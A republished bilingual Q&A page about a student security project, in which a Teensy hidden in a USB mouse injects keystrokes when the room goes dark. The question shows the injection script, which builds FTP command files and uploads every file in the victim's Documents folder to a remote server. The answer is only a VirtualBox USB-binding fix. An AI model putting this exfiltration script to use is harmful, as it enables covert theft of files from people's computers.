本文介绍了VirtualBox击键会随机更改的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我有一个关于安全性的学校项目.我的工作是使用USB集线器和一个十几岁的孩子自定义硬件鼠标来对其进行编程.

I have a school project about it security. My job is it to customize a hardware mouse with a usb hub and a teensy to program it.

十几岁的代码在变暗时执行(取决于光敏电阻).该代码在win7 vm上获取一些文件,并将它们上传到在kali vm上托管的Apache2服务器(通过win7 vm中的cmd命令).在vmware中一切正常,但是我必须在项目中使用virtualbox.

The code on the teensy gets executed when it gets dark (light dependent resistor). The code takes some files on the win7 vm and upload them to an Apache2 server hosted on a kali vm (via cmd commands in win7 vm). Everything works fine in vmware, but I have to use virtualbox for my project.

我的问题是,在virtualbox中,cmd命令会随机更改,例如:有些字母从小写变为大写,导致路径错误,因此找不到文件,或者有时缺少反斜杠,这也会导致错误的路径.

My problem is now that in virtualbox the cmd commands randomly changes with for example: some letters changes from lowercase to uppercase resulting in a wrong path so the files can't be found, or sometimes missing a backslash which also results in a wrong path.

就像我说的那样,它仅在virtualbox中,在vmware中,我的整个项目都能正常运行,因此我认为这不是硬件问题

Like I said its only in virtualbox, in vmware my whole project works perfectly fine, so I don't think its a hardware problem

我使用最新的virtualbox版本5.0.12

I use the latest virtualbox version 5.0.12

这(不是实际的)是我的青少年脚本的示例

This is (not the actual) a sample of my teensy script

CommandAtRunBarMSWIN("cmd");
    delay(1500);
    Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("exit");

推荐答案

我发现了问题所在.我忘了手动将Virtualbox中的USB Teensy与复选框绑定,所以我认为驱动程序和我不知道的东西有些问题.

I found out what the problem was. I forgot to manually bind the USB Teensy in Virtualbox with the checkbox, so I think it kind of had some problems with drivers and stuff I don't know.

现在只要我在运行它之前始终在virtualbox中手动绑定它,它就可以工作.

It works now as long as I always bind it manually in virtualbox before I run it.

这篇关于VirtualBox击键会随机更改的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!

10-13 01:19